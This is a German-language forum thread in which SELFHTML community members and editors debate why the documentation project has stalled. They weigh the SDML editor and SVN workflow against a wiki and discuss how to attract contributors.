          Gewinnen tust du das, was Wikipedia auch hat. Du ermöglichst es den Leuten, die eben nur 10 Minuten Qualityttime aufbringen wollen, dennoch mitzuwirken. Und sei es eben mal nur hie und da in einem oder dem anderen Absatz. Das die Hintergrundüberlegung. Denn die Leute, die mit vollem Einsatz halbe Tage da reinsetzen sind ja wohl offensichtlich abhanden gekommen. Es geht auch darum, solch intelligente und versierte Personen wie Felix mit ensprechendem Background ernst zu nehmen. Seine Vorschläge kommen ja nicht von ungefähr. Das muss ja nicht Deinen Bedürfnissen entsprechen. Aber Felix ist ja auch nicht der Einzige, der so argumentiert.

          Gruß

          jobo

          1. Lieber jobo,

            solch intelligente und versierte Personen wie Felix

            meinst Du mich? *träum* Hehe, danke für die Blumen! ;-)

            Liebe Grüße,

            Felix Riesterer.

            --
            ie:% br:> fl:| va:) ls:[ fo:) rl:° n4:? de:> ss:| ch:? js:) mo:} zu:)
            1. Hallo Felix,

              solch intelligente und versierte Personen wie Felix

              meinst Du mich? *träum* Hehe, danke für die Blumen! ;-)

              Nix gegen Blumen, aber das ist auch nüchtern-sachlich gemeint. Du hast einen feinen Artikel geschrieben, ein brauchbares Gästebuch verfasst, leitest hier immer wieder Leute fleißig an, bist Lehrer, leitest ein AG, was will man mehr. Gefühlt spüre ich schon, dass da zuviel Vereinsmeierei und wenns und abers und Missversteherei am Werke ist, wenn begründete Vorschläge von solch vernünftigen Leuten wie Dir und Stefan Münz eher "abgebügelt" werden. Oder eben "absichtlich" missverstanden werden, nach dem Motto: ja, damit sind ja auch nicht alle Probleme gelöst (was ja niemand behauptet hat). Und ich kann Deine Argumentation absolut nachvollziehen. Das ist vielleicht sogar _der_ Knackpunkt, dass selfhtml solche Ambitionen nicht unterstützt, wenn ich da auch Stefan Münz recht verstehe. Das hat ja nix damit zu tun, dass einige Engagierte da auch ihren hervorragenden Beitrag leisten.

              Gruß

              jobo

              1. Hallo,

                naja, erst lesen, dann schreiben : https://forum.selfhtml.org/?t=194555&m=1303099

                Gruß

                jobo

          2. Moin,

            Was hat SELFHTML dann gewonnen? Was haben wir dann gewonnen? Die Erkentnis, dass es doch am Willen und nicht an der Software schreitert?

            Gewinnen tust du das, was Wikipedia auch hat. Du ermöglichst es den Leuten, die eben nur 10 Minuten Qualityttime aufbringen wollen, dennoch mitzuwirken. Und sei es eben mal nur hie und da in einem oder dem anderen Absatz.

            Es gibt, wie schon häufiger erwähnt wurde, keinen monokausalen Grund für den Stillstand der letzten drei Jahre. Von Molily, von Sven, von Astrid, von vielen anderen, die dem Projekt nahe stehen oder nahe standen wurde hier oder an anderen Stellen im www Beweggründe benannt, Vermutungen erwogen, Wünsche geäußert, Vorschläge gemacht.

            Es wird deshalb auch nicht eine einfache monolithe Lösung geben. Es wird nicht reichen, ein Wiki hinzustellen und zu sagen: Fertig, macht mal und zeigt, dass ihr es besser macht. Denn es geht nicht ums besser machen sondern ums gemeinsam machen.

            Grüße

            Swen

            1. Hallo,

              Es wird deshalb auch nicht eine einfache monolithe Lösung geben. Es wird nicht reichen, ein Wiki hinzustellen und zu sagen: Fertig, macht mal und zeigt, dass ihr es besser macht. Denn es geht nicht ums besser machen sondern ums gemeinsam machen.

              Es sagt doch auch niemand, auch nicht Felix, dass damit alles getan ist. Aber es wäre vielleicht eine Möglichkeit für Leute wie Felix und auch mich, Know-How beizusteuern. Auch Stefan scheint das ja so zu sehen. Es hilft auch nix, wenn die Vorschläge verwurschtelt und ins Gegenteil verkehrt werden.

              Gruß

              jobo

      7. Hallo,

        Ich will (wirklich!) schreiben, und zwar dann, wenn ich Zeit dazu habe. Ich habe selten Zeit dazu. Und wenn, dann will ich mich irgendwo anmelden und dann _sofort_ schreiben. Ist das nicht möglich, dann schreibe ich eben nicht.

        Wie soll ich denn meine Zusage einhalten, wenn ich echte Probleme habe, die Zeit aufzubringen, mir erst einmal die in ihrem Umfang für Hobby-Entwickler nicht unerheblichen Vorbereitungen zu treffen? Auch wenn ich eigene Projekte entwickle, so ist doch meine Herangehensweise noch immer eine sehr laienhafte (eben _ohne_ Versionierungssystem, auch wenn das zum Haareraufen sein mag). Und dann ist da eben eine Hemmschwelle.

        Full Ack.

        Gruß

        jobo

  5. Hallo werte Selfgemeinde!

    Nachdem ich mir nun mal die erforderliche Software installiert und angeguckt habe, also quasi "up to date" bin, was den Stand der Diskussion hier anbelangt, möchte ich mal kurz (m)ein Zwischen-Fazit ziehen:

    Die Situation:
    Unbestreitbar gibt es einen riesen Berg an Arbeit, der abgetragen werden will.
    Und auf der einen Seite steht ein recht kleines Dev-Team, das nach eigenem Bekunden mit dieser Menge an Arbeit überfordert ist, ja selbst mittlerweile aufgrund der Situation verbittert, resigniert und unmotiviert ist.
    Auf der anderen Seite scheint es aber durchaus zumindest einige Community-Mitglieder zu geben, die durchaus bereit wären, einen aktiven Beitrag zu leisten.

    Das Problem:
    Neben dem im Thread mehrfach angesprochenen Kommunikationsproblem, scheint mir das Hauptproblem darin zu bestehen, dass für viele der potentiellen Helfer aber die Form in der die Hilfe geleistet werden soll/ muss, einfach zu "abschreckend" ist. Ergebnis: Es engagiert sich keiner. Die Devs andererseits beharren aber auf ihrem 'System'. Ergo wird sich an der Situation nichts ändern.

    Mein Fazit:
    Grundsätzlich sehe ich es ersteinmal so, dass wenn ich Hilfe von anderen Usern erwarte/ haben möchte, ich es ihnen so einfach wie möglich machen sollte, mir diese zu leisten.
    Auch wenn ich persönlich keine Probleme mit der Installation hatte, so ist diese doch recht umfangreich und vorallem stehe ich hinterher immer noch recht "unwissend" da und das Schlimmste ist, dass ich gezwungen bin mit einem mir bis dato völlig unbekanntem Programm zu arbeiten.

    Ich glaube also, solange man keine andere Möglichkeit schafft, wo und wie User ihren Beitrag leisten können, wird sich die Situation nicht ändern.

    Mal als Beispiel: Was glaubt ihr wieviel hier im Forum los wäre, wenn sich jeder User vorher erst mehrere Programme samt manueller Einrichtung/ Konfiguration installieren müsste und das Forum dann nicht mit seinem gewohnten Browser, sondern mit einem der neu installierten Programme besuchen müsste?
    Aber im Forum klappt es doch bspw. auch. Im Hintergrund kümmern sich einige wenige Experten um die Forensoftware und Serveradministration, während die Breite Masse hier ihre Beiträge postet.

    Es ist mir ehrlich gesagt etwas unverständlich, warum ihr bei der Doku den Usern, die nichts als ihren Beitrag leisten wollen, einen dermaßen groß Teil der Administrations-Arbeit, die eigentlich hinter den Kulissen stattfindet, aufbürden wollt?

    Jedes "popelige" CMS- oder Blogscript heutzutage wäre imho besser und einfacher für Jedermann zu handhaben, als die derzeitige Lösung.

    Aber dessen völlig ungeachtet haben die letzten Monate doch mehr als deutlich gezeigt, dass diese Variante von der Community nicht angenommen wird.

    Das alleine müsste doch schon Grund genug sein,_gemeinsam_nach einer anderen Lösung zu suchen.

    Zu Zeiten der Römer hätte man gesagt:"Gebt dem Volk wonach das Volk verlangt!". Und wenn das "Volk" nach einer anderen (einfacheren) Lösung verlangt, dann gebt ihm diese doch.

    Ich sehe das vereinfacht ausgedrückt so:
    Entweder kann man in "Schönheit sterben", sprich in technischer Perfektion und mit einem enorm hohen Qualitätsanspruch, oder man hält das Projekt am Laufen und macht hier und da auch mal ein paar Kompromisse.
    Unterm Strich erscheint es mir aber doch allemale besser, wenn sich die User um die Inhalte kümmern und das Dev-Team sich im Hintergrund darum kümmert, diese in die benötigte Form zu bringen. Auf diese Art & Weise ginge es aber wenigstens voran.

    So, soviel aus meiner Sicht der Dinge. ;-)

    Allen ein schönes Wochenende,
    Gruß Gunther

  6. Nabend.

    Ist SelfHTML tot?

    Das kann ich nicht beantworten. Was ich aber aus eigener Erfahrung weiß ist, dass das Projekt es nicht mehr geschafft hat (mein Stand 12/2008), mich als Autor zu binden. Ich schreibe gerne Texte, ich bin als Erklärbär verschrien. Warum mache ich nicht mehr mit? Weil es einfach keinen Spaß mehr gemacht hat. Und das ist der Knackpunkt: Große Ziele ohne die dafür nötige Manpower. Es ist dem Verein leider nicht gelungen, die Anzahl Autoren zu mobilisieren, die nötig sind. Und von außen kamen die falschen Signale: Erst Wiki, dann SVN, dann SVN mit Selfhtml-Erweiterung; ja, was denn nun? Als ich mich mit dem Perl-Kapitel auseinandersetzen wollte und auf die Frage, wie denn nun die Altbestände in die neue Version kommen könnten, die Antwort erhielt, dass ich alles neu einpflegen muss, war für mich halt Ende.

    Ich wünsche dem Projekt den Erfolg, den es verdient hat. Aber wenn sich (wie ich dem Thread entnehme) nicht wirklich was geändert hat, dann ist Selfhtml in der Tat tod.

    Siechfred

    --
    Chancengleichheit bedeutet nicht, dass jeder einen Apfel pflücken kann, sondern dass der Zwerg eine Leiter bekommt.
    1. Hallo Siechfred!

      Zu dem Thema SELFHTML möchte ich mich (noch nicht) äußern.

      Aber wir (ich zumindest) vermissen Dich hier im Forum sehr (nicht nur, was Perl-Fragen angeht). Und wenn es nur an der Zeit liegt, hin und wieder ein kleines Lebenszeichen wäre vielleicht drin?

      Viele Grüße aus Frankfurt/Main,
      Patrick

      --
      _ - jenseits vom delirium - _

         Diblom   [link:hatehtehpehdoppelpunktslashslashwehwehwehpunktatomicminuseggspunktcomslash]
      Achtung Agentur! | Nichts ist unmöglich? Doch! | Heute schon gegökt?
    2. Hallo,

      Das kann ich nicht beantworten. Was ich aber aus eigener Erfahrung weiß ist, dass das Projekt es nicht mehr geschafft hat (mein Stand 12/2008), mich als Autor zu binden. Ich schreibe gerne Texte, ich bin als Erklärbär verschrien. Warum mache ich nicht mehr mit? Weil es einfach keinen Spaß mehr gemacht hat. Und das ist der Knackpunkt: Große Ziele ohne die dafür nötige Manpower. Es ist dem Verein leider nicht gelungen, die Anzahl Autoren zu mobilisieren, die nötig sind. Und von außen kamen die falschen Signale: Erst Wiki, dann SVN, dann SVN mit Selfhtml-Erweiterung; ja, was denn nun? Als ich mich mit dem Perl-Kapitel auseinandersetzen wollte und auf die Frage, wie denn nun die Altbestände in die neue Version kommen könnten, die Antwort erhielt, dass ich alles neu einpflegen muss, war für mich halt Ende.

      Das kann ich nachvollziehen.

      Das "alles neue einpflegen" hat aber einen echten redaktionellen Grund. (wir hätten die Text auch gleich mit ins SDML übernehmen können). Nämlich die Texte wirklich nochmal gründlich durchzulesen/durchzuarbeiten. Sprich: sie wirklich anzufassen.

      Ich kann es von Teilen des XML-Kapitels sagen: ich habe einfach immer einen zusammenhängenden Teil (drei oder vier Absätze) heineinkopiert und dann sie angefangen durchzulesen. bzw. sie zu formatieren (Stichwäter, Links etc.). Es gab nicht wenige Stellen wo ich dann etwas ändern musste, weil sich die Dinge geändert haben. Auch "Meinungen", die zu damaligen Zeitpunkt, richtig bzw. aktuell waren, musste ich streichen oder überarbeiten, weil sich die Dinge geändert haben (z.B. gerade im Intro).

      All das ist aber wirklich notwendig, denn sehr oft ist es die Formulierung, oder auch nur ein Teil eines Satzes der zur Zeit eben nicht mehr bestand hat. Es wäre einfach fatal, wenn man nur dort, wo man Ergänzungen braucht wirklich was hinzufügt und sonst nichts ändert bzw. nichts überprüft.
      Zudem kommt natürlich auch, dass es dankenswerterweise viele Kommentare/Bugs/Typos etc. gemeldet wurden, die man dann auch eben einarbeiten sollte, wenn man gerade an dem entsprechenden Teil arbeitet.

      Natürlich gibt es ebenso viele Stellen, die man nicht zu ändern braucht. Aber wenn man Texte eben neu einpflegt ist der Aufand gleich etwas zu ändern weniger, als wenn man nur lesend über einen Teil "hinwegfeht" und so versucht änderungswürdige Stellen ausfindig zu machen.

      Grüße
      Thomas

  7. Werte Netzgemeinde, liebe Diskursführende, hallo Leser! :)

    Als Swen Wacker diesen Thread hier auf Twitter am Freitag "beworben" hat, habe ich ihn ohne großes Zögern sowohl auf meinem Account, als auch über @SELFHTML retweeted. Jeena hat das im späteren Verlauf noch einmal wiederholt.

    Für mich war klar: Die existierende Redaktion ist entweder ohne Abschiedsgruß entschwunden, oder durch die tägliche Arbeit, insbesondere aber durch das Nicht-Bewältigen der selbst gesetzten Ziele, so frustriert, dass die Analyse von _Robert ohne Frage zutrifft: Die Arbeit an der Dokumentation ist derzeit tot. Das noch existierende Team hat - neben all den Dingen, die man unter Privat- und Berufsleben zusammenfasst - gerade genug damit zu tun, den Status Quo zu erhalten: Die Server laufen einwandfrei, das Forum wird moderiert, reinkommende Mails werden bearbeitet. Für mehr fehlt uns tatsächlich die Energie und Motivation.

    Deshalb hatte ich durchaus Hoffnung, dass diese Diskussion vielleicht Lichtblicke und Hoffnungsschimmer liefert, dass der Netzgemeinde diese bekannteste deutsche Dokumentation nicht ganz egal ist.

    Zu Beginn hat sich dann leider doch die typische Diskussion entwickelt, die zu erwarten war:

    • Unsere Informationspolitik ist Schuld, wir sagen ja nix... obwohl der Redaktionsbereich schon seit Jahren so offen ist, wie es nur geht, wir sogar extra für den aus Sicherheitsgründen notwendigen SSL-Zugriff für teures Geld ein vernünftig signiertes Zertifikat angeschafft haben, und nicht mehr das von CAcert einsetzen. Pauschales Gegenargument: Egal wo wir es hinschreiben würden, es wäre für irgendwen immer genau die Stelle, die er übersehen hat. Andererseits stimmt's natürlich: Sonderlich aktiv um Mitarbeit geworben haben wir nicht, die Strategie bislang war, gezielt diejenigen Leute anzusprechen, die durch fachliche Kompetenz hier im Forum positiv in Erscheinung getreten waren.

    • Die Technik ist Schuld, wenn's doch nur ein Wiki gäbe... Diese Argumentation hat Thomas J.S. in meinen Augen ziemlich gut analysiert: Keine Technik ist so perfekt, dass nicht irgendwer was zu meckern hätte. Wir haben gute Gründe dafür, dass die Technik derzeit auf dem WYSIWYG-XML-Editor (für diejenigen, die es gerne bunt haben) basiert, das SDML ist aber nicht so bösartig, dass man es nicht auch von Hand schreiben könnte. Über die Verwendung von SVN als Versionskontrollsystem kann es eigentlich auch keine zwei Meinungen geben - unter der Voraussetzung, dass mehrere Redakteure ihre Texte in SDML erfassen, ist SVN die einzige sinnvolle Lösung für die Zusammenarbeit.

    • Es ist doch Wahnsinn, SELFHTML komplett neu schreiben zu wollen, warum nicht die alte Version umarbeiten... Auch dazu hatten wir uns in der Redaktion intensiv Gedanken gemacht, und sind zu dem Entschluss gekommen, dass die gesamte Struktur des alten SELFHTML schon viel zu lange nicht mehr dem Stand der Technik entspricht. Die Kapitel, wie sie sich in der aktuellen Version 8.1.2 darstellen, basieren dem Grunde nach auf Version 7.0 aus dem Jahre 1998. Und es gibt viele Textabschnitte, die seitdem nicht mit einer Silbe überarbeitet wurden, sondern immer nur "mitübertragen".

    Aber zum Glück wendet sich das Blatt, und diese ersten Reaktionen, vielleicht sollte man sie als Eingangsstatements verstehen, werden jetzt tatsächlich diskutiert, indem die Seiten argumentieren und sich auch überzeugen lassen. Das stimmt mich zunächst wieder hoffnungsvoll.

    Vielleicht noch mal ein paar ausführlichere Worte zu unseren Gründen, warum der Zustand der Redaktionsarbeit mit/für/an SELFHTML jetzt so ist, wie er ist:

    1. Wir wollen eine downloadbare HTML-Version von SELFHTML anbieten. Dieses Feature erscheint uns extrem wichtig. Netzzugänge sind nicht verlässlich und/oder kosten in manchen Teilen der Welt immer noch viel Geld. Server sind nicht verlässlich, sondern können auch mal ausfallen. Deshalb ist die Verfügbarkeit der Dokumentation unter http://de.selfhtml.org eben gerade nicht 100% für die gesamte Weltbevölkerung. Genau deshalb halten wir uns für den Download der läppischen 8,5 Megabyte der alten Version noch immer ein Mirror-Netzwerk.

    Die Nutzung eines Wikis macht eine downloadbare Version natürlich nicht unmöglich. Man könnte vermutlich problemlos einen Spider losschicken und eine lokale Version erzeugen. Oder man exportiert die Daten einfach "irgendwie" und schreibt sich "irgendwie" einen Exportfilter, der HTML erstellt.

    Und es hab ja auch tatsächlich einen kurzen Versuch, ein Wiki zu installieren und zu nutzen. Dieser Versuch ist leider gescheitert. Ich gehe dazu auch gerne ins Detail, wenn Interesse besteht - unter dem Strich ist festzuhalten, dass das Thema Wiki sich seit diesem Versuch in der Redaktion im Prinzip erledigt hatte, und unsere gesamte Energie auf SDML konzentriert wurde.

    2. Dieser Weg erschien vor allem dadurch realistisch, dass wir diesen XMLMind XML-Editor entdeckt hatten - ein in Java geschriebener Editor für Windows, Mac OS und Linux, also keine Speziallösung für jedes einzelne Betriebssystem, sondern nur eine einzige Software - in den Wichtigen Details der Bedienung auf allen Systemen gleich.

    Und mit einem Mal wurde ein riesiges Problem, nämlich das bis dahin notwendige Coden von SDML-Quelltext, kinderleicht. Weil der Editor gleich nach DTD validieren kann, kann es keine Probleme mit invalidem SDML mehr geben, der Autor wird hinsichtlich seiner Absichten bestmöglich unterstützt, ihm werden nur die erlaubten Elemente zur Nutzung angeboten - er kann sich, so die Hoffnung, wirklich primär auf das Schreiben des Textes konzentrieren.

    Dass damit alles in Butter sein würde - das war natürlich eine Illusion. Denn leider gibt es auch heute noch Computer, die einfach zu langsam sind und zu wenig RAM haben, um die Java Virtual Machine in akzeptabler Geschwindigkeit ausführen zu können - und einige Redakteure nutzen noch solche Rechner. Aber das Arbeiten mit SDML-Quelltext funktioniert ja weiterhin - wenn man auf sowas steht. Diese Arbeitsweise erfordert ebenfalls viel Einarbeitung - aber dadurch wurden auch noch einige Probleme in der DTD von SDML offenbart und behoben, weil z.B. Dinge nicht vorgesehen waren, die man aber haben wollte.

    3. Die dritte Komponente im Spiel ist SVN - und die kritischste, denn mit Versionskontrolle hat ein privater User normalerweise nichts zu tun. Und das muss man leider auch noch von vielen professionellen HTML-Schreibern und Software-Entwicklern sagen. Andererseits sind die verfügbaren Tools zur Nutzung von SVN gerade für grafische Oberflächen mittlerweile sehr ausgereift und einfach zu bedienen. Und da im täglichen Betrieb gerade einmal zwei Kommandos (Update und Commit) relevant sind, sind wir zu der Ansicht gelangt, dass eine Mitarbeit auch nicht an SVN scheitern sollte.

    Gewiss: Die Einstiegshürde für Autoren ist damit hoch - definitiv höher, als bei einem Wiki. Aber auch Wikis sind alles andere als einfach zu bedienen, wie ja schon in diesem Thread festgestellt wurde. Außerdem soll ja auch nicht jeder x-beliebige User etwas an der Dokumentation verändern können.

    4. Als letzten Punkt: Warum wir SELFHTML komplett neu schreiben wollen, anstatt die alte Version zu aktualisieren? Weil wir in einem Workshop zu der Erkenntnis gelangt sind, dass uns "der alte Scheiß" viel mehr behindert, als es darum ging, ein Konzept zu erstellen, welches unserem Ziel gerecht wird, eine Dokumentation zu schreiben, die nicht nur für Anfänger einen Einstieg schafft, sondern sich auch für Fortgeschrittene und Profis noch als wertvoll erweist - aber natürlich mit anderen Aspekten.

    Wir hatten bis zu dieser Entscheidung die alte SELFHTML-8.1.2 auch tatsächlich schon automatisch in SDML konvertiert (es wäre also echt sinnlose Doppelarbeit, wenn jemand diesen Versuch jetzt noch einmal manuell unternähme - die alte Version ist im SVN als Revision 5679 getaggt). Uns war bewußt, dass wir uns damit sehr viel Arbeit machen würden. Deshalb wollten wir uns zunächst auf die drei Kernthemen "HTML", "CSS" und "Javascript" stürzen, zu diesen Einsteigertutorials und Fortgeschrittenen-Doku schreiben. Alle weiteren Themen sollten (und sollen noch) dann dazu kommen, wenn dieses Kerndokument erschienen wäre.

    Im Prinzip ist diese gewählte Strategie aus meiner heutigen Sicht auch richtig. Das derzeit betrachtbare mangelhafte Resultat liegt wohl darin begründet, dass wir uns alle die Arbeit tatsächlich nicht so komplex vorgestellt hatten. Selbst zu einem überarbeitenden Copy&Paste der relevanten alten Textpassagen reichte es bislang nicht. Und Begründungen, warum's nicht vorangeht, finden sich, wie Thomas J.S. richtig feststellt, individuell immer ganz leicht.

    Der Editor ist dabei nicht das Problem. SVN ist nicht das Problem. Das Problem ist, seinen Hintern für einen Zeitraum von mindestens einer Stunde vor den Rechner zu pflanzen und Text zu tippen, ohne sich dabei ablenken zu lassen.

    Aus diesem Grund haben wir in der Redaktion viele nebensächliche Aktivitäten auf Null zurückgefahren. Es gibt kein französisches Forum mehr. Es gibt keine Versuche mehr, die Version 8.1.2 in andere, weitere Sprachen zu übersetzen. Selbst das Lounge-Forum ist seit dem Jahreswechsel geschlossen. Es reicht trotzdem nicht aus.

    Und ich stelle mir langsam auch die Frage, ob unsere Strategie, Besucher des Forums, vornehmlich solche mit hohem Antwortaufkommen, in die Redaktion zu rufen, nicht genau der falsche Weg ist. Denn so jemand hält sich doch natürlich sehr viel im Forum auf und ist dadurch gerne abgelenkt. Stefan Münz sieht's ja ähnlich: "Programmierer sollten keine Programmier-Dokus schreiben".

    Aber wenn das zuträfe - wie fänden sich dann fachlich ausreichend bewanderte nichtprogrammierende Redakteure?

    - Sven Rautenberg

    1. Hallo Sven und alle anderen!

      "Jetzt mal Butter bei die Fische!" ;-)
      Deshalb von mir jetzt mal

      • ein paar Fragen
      • Eindrücke
      • Anregungen/ Vorschläge

      Wenn man als "unbedarfter" User das erste Mal auf https://redaktion.selfhtml.org/ kommt, wird man erstens schlichtweg erschlagen und findet zweitens auch kaum die Infos, die einen vermutlich vorrangig interessieren würden (vermutlich sind sie zwar vorhanden, aber man weiß eben nicht, wo man sie suchen soll).

      Wäre es denn nicht evt. machbar, eine separate kurze Übersicht (nicht in diesem riesen Paket eingebunden) mit den wichtigsten Infos (und ggf. Links zu den zugehörigen Seiten im Trac) zu erstellen?

      Gleiches gilt imho für die Installations-Anweisungen für den XML-Editor & Co. Diese "funktioniert" zwar soweit, ist aber imho auch verbesserungswürdig. Wobei ich mich dann hier auch gleich anbieten würde, diese für Windows zu überarbeiten.

      Mein Vorteil dabei ist, dass ich, wie vermutlich viele andere potentielle Helfer, bisher noch nie etwas mit Versionsverwaltungssystemen, Trac oder Sonstigem zu tun hatte. Und auch um Java und Java-Anwendungen mache ich meist einen großen Bogen.

      Genauso interessiert es künftige potentielle Helfer vermutlich, mal nachgucken zu können, was denn überhaupt an Arbeiten gemacht werden muss, um für sich dann entscheiden zu können, wo sie ggf. ihre Hilfe anbieten. Auch hier kommt man als "Neuling" mit dem aktuellen System der "Roadmap" nur schwer bis gar nicht zurecht (ich jedenfalls nicht).
      Wenn man das auf Papier machen würde, hätte man vermutlich eine Liste/ Tabelle mit möglichst kleinen "Häppchen" in der einen Spalte und daneben eine zweite Spalte, wo der oder die Namen derjenigen eingetragen werden, die sich um diese Arbeit(en) kümmert/ kümmern.

      Das ist imho u.a. auch ein wichtiger Punkt. Angebotene Hilfe/ Unterstützung sollte auch namentlich "öffentlich" gemacht werden. Das erzeugt nämlich einen gewissen "Druck" auf die Leute, sich nicht einfach wieder stillschweigend zurückzuziehen.

      Auch finde ich jedenfalls, dass ihr noch mehr "PR und Marketing" Arbeit betreiben solltet. ;-)
      So etwas wie

      könnte man bspw. hier über dem Forum und an anderen exponierten Stellen des Selfraumes doch leicht anbringen, oder? Und das Ganze noch verbunden mit einer Fortschrittsanzeige (wieviel Prozent der Doku bereits fertig sind).

      Ebenfalls vermisse ich, oder habe vergeblich danach gesucht, Aussagen dazu, welche Kenntnisse und sonstigen Voraussetzungen potentielle "Schreiber" denn eigentlich mitbringen sollen/ sollten, wieviel Anteil jeweils die reine Übernahme bestehender Teile, Aktualisierungen und Korrekturen, eigenständige Recherche, Verfassen komplett neuer Texte und Beispiele, etc. haben (und bei welchen Aufgaben).

      Quasi daraus resultiert die nächste Frage, nämlich ob nicht u.a. schon damit geholfen wäre, wenn Leute "nur" schreiben würden (ohne sich den Editor & Co. installieren zu müssen), und die Texte dann halt jemand weitergeben, der mit dem Editor und den sonstigen Konventionen der neuen Doku schon besser vertraut ist und das halt entsprechend dann "einpflegt"? Ich könnte mir nämlich gut vorstellen, dass solche Leute mit der Zeit von ganz alleine den "persönlichen Ehrgeiz" entwickeln, selber mit dem Editor zu arbeiten, als wenn das schon die "Einstiegsvoraussetzung" ist.

      Und wenn jeder von euch "alten Hasen", die ihr mit dem ganzen System ja bestens vertraut seid, sich quasi als eine Art "Tutor" um ein paar Neulinge kümmert, dann sollte das doch auch klappen.

      In diesem Sinne,
      wenn ich also ggf. etwas beitragen kann, dann lasst es mich wissen.

      Gruß Gunther

    2. Hallo,

      Jeena hat das im späteren Verlauf noch einmal wiederholt.

      Jo sorry, mein Twitterclient zeigt die neuen Retweets (noch) nicht an, deshalb habe ich nicht dran gedacht dass das schon jemand retweetet hat.

      Jeena

      1. Moin,

        Jeena hat das im späteren Verlauf noch einmal wiederholt.
        Jo sorry, mein Twitterclient zeigt die neuen Retweets (noch) nicht an, deshalb habe ich nicht dran gedacht dass das schon jemand retweetet hat.

        Ist doch völlig okay, Tweets mehrfach zu retweeten. Jeder hat ja andere Follower. Und gemeinsamen Followern wird durch multiples RT signalisiert, dass das Thema relevant sein könnte.

        Grüße

        Swen

    3. Aber wenn das zuträfe - wie fänden sich dann fachlich ausreichend bewanderte nichtprogrammierende Redakteure?

      Du hast etwas vergessen.
      Ich könnte mich für mehrere Stunden am Tag in den nächsten zwei/drei Monaten für diese Aufgabe günstig verkaufen. Es würde in dem Sinne die Einarbeitung rechtfertigen. Aber es braucht ein Lohnmodell.

      Solange es ein solches nicht gibt, wird eben diese Aufgabe aufgeschoben.
      Und ja, ich habe definitiv mehr von meiner Präsenz im Forum, weil ich durch Mitlesen auch Tipps für meinen eigenen Problemhaufen mitnehme.

      mfg Beat

      --
      ><o(((°>           ><o(((°>
         <°)))o><                     ><o(((°>o
      Der Valigator leibt diese Fische
  8. Hallo,

    unabhängig davon, was jetzt sonst so alles hin und hergeschrieben wurde über die Technik, war es mir ein Bedürfnis, zumindest mal einen anderen Ort zu haben, an dem man über diese Dinge vielleicht intensiver diskutieren kann als hier im Fachforum, und wo man mal sehen kann, wie so etwas aussehen könnte. Also alle mal hierhin:

    SELFHTML-Testwiki

    Doku, Blog, Forum und Drumherum. Das Wiki ist weitgehend public editierbar. Wer schreiben will, hat jetzt keine Ausrede mehr. Denn übernehmen kann man die dort erstellten Texte ja auch woanders hin.

    Um mich vor Schmähkritik zu schützen, schnappe ich mir aber jetzt fluggs meine beiden Kleinen und verdampfe zur Oma. Gucke dann später am Tag mal rein, ob die HTML-Doku schon halbwegs fertig ist *g*

    viele Grüße
    Stefan Münz

    1. Hi!

      Für jedes komplexe Problem gibt es eine Lösung, die einfach, verständlich und unbrauchbar ist. Meinem diesbezüglicher Vorschlag bist du grad zuvorgekommen.

      unabhängig davon, was jetzt sonst so alles hin und hergeschrieben wurde über die Technik, war es mir ein Bedürfnis, zumindest mal einen anderen Ort zu haben, an dem man über diese Dinge vielleicht intensiver diskutieren kann als hier im Fachforum, und wo man mal sehen kann, wie so etwas aussehen könnte. Also alle mal hierhin:

      SELFHTML-Testwiki

      Es ist ja nicht so, dass im SELF-Raum gar kein Wiki existert. Der Redaktionsbereich ist bereits ein Wiki. Dies zu erweitern sollte nicht das Problem darstellen. Einer der Unbrauchbar-Punkte ist, zumindest wenn man (aus gutem Grund) nicht komplett auf Wiki umsteigen will, dass man nun zwei Orte hat, an denen Inhalte generiert werden - das Redaktionssystem mit eigenen Editor und eben das Wiki. Man braucht Koordinationsaufwand um beides zu synchronisieren und sei es auch nur in einer Richtung. Wobei bei Einbahnstraßenverkehr die Möglichkeit der Änderungen an übernommenen Artikeln schonmal eingeschränkt ist. Da braucht es dann ein Verfahren wie Bugtracker oder man schiebt wieder zurück, ändert oder lässt dies tun, und pflegt den Artikel oder die Änderungen wieder ein. Ganz zu schweigen von der jeweiligen Formatkonvertierung. Dazu noch ein "unbrauchbarer" Vorschlag: SDML-Plugin für Trac. Ach, und die Ausrede keine Zeit zu haben, hab ich natürlich auch.

      Lo!

      1. Man braucht Koordinationsaufwand um beides zu synchronisieren [...]

        Warum? Warum nicht SDML komplett Droppen?

        Für die einheitliche Formatierung gibt's ein Manual of Style und gut ist - so komplex sind die HTML-Dokumente nun auch wieder nicht.

        Für kompliziertere Dinge gibts Templates.

        1. Hi!

          Man braucht Koordinationsaufwand um beides zu synchronisieren [...]
          Warum? Warum nicht SDML komplett Droppen?

          Ich habe hier in der Diskussion den Eindruck, dass du allein deine Idee durchzusetzen versuchst, ohne Kompromisse mit der "Gegenseite" zu suchen. So wird das nicht funktionieren. Mach doch mal eine Bestandsaufnahme, was SDML kann und vergleiche das dann mit dem was du vorschlägst. Das setzt natürlich voraus, dass du dich mit SDML näher auseinandersetzt, was auch ein Art Entgegenkommen darstellt.

          Für die einheitliche Formatierung gibt's ein Manual of Style und gut ist - so komplex sind die HTML-Dokumente nun auch wieder nicht.
          Für kompliziertere Dinge gibts Templates.

          Ja, alles ist gaaanz einfach. Und was in einem System klappt, lässt sich auch problemlosenst auf ein anderes übertragen. Die Erfahrungen mit bisherigen Probleme muss man auch gar nicht berücksichtigen, einfach neu anfangen ... Versuch mal mit den Betroffenen eine Lösung zu finden, nicht gegen sie.

          Lo!

          1. Mach doch mal eine Bestandsaufnahme, was SDML kann und vergleiche das dann mit dem was du vorschlägst. Das setzt natürlich voraus, dass du dich mit SDML näher auseinandersetzt, was auch ein Art Entgegenkommen darstellt.

            Habe ich.

            Ich habe mich mittlerweile mit SDML, Wikidot, MediaWiki und TYPO3 auseinandergestzt.

            Ich bin jetzt endgültig der Festen überzeugung, MediaWiki ist besser geeignet als Wikidot um die Stuktur von SELFHTML abzubilden.

            SDML selbst konnte ich nicht "anfassen", XMLmind hingegen ist als XML-Editor vielleicht interessant, aber als Editor für Fließtext aber nicht wirklich geeignet. SDML ist sicher gut geeignet um die Daten abzubilden, aber ich will mich nicht damit beschäftigen wenn es einen WYSIWYG gibt - dieser erfüllt seinen zweck aber imho nicht..

            TYPO3 ist imho ebenfalls nicht geeignet um SELFHTML abzubilden - die Einstiegshürde für einen Benutzer dem das System nicht persönlich erklärt wird ist zu hoch, die letztliche Verwaltung der Inhalte ist ebenfalls eher weniger geeignet.

            Ja, alles ist gaaanz einfach. Und was in einem System klappt, lässt sich auch problemlosenst auf ein anderes übertragen.

            Das hab' ich nicht gesagt.

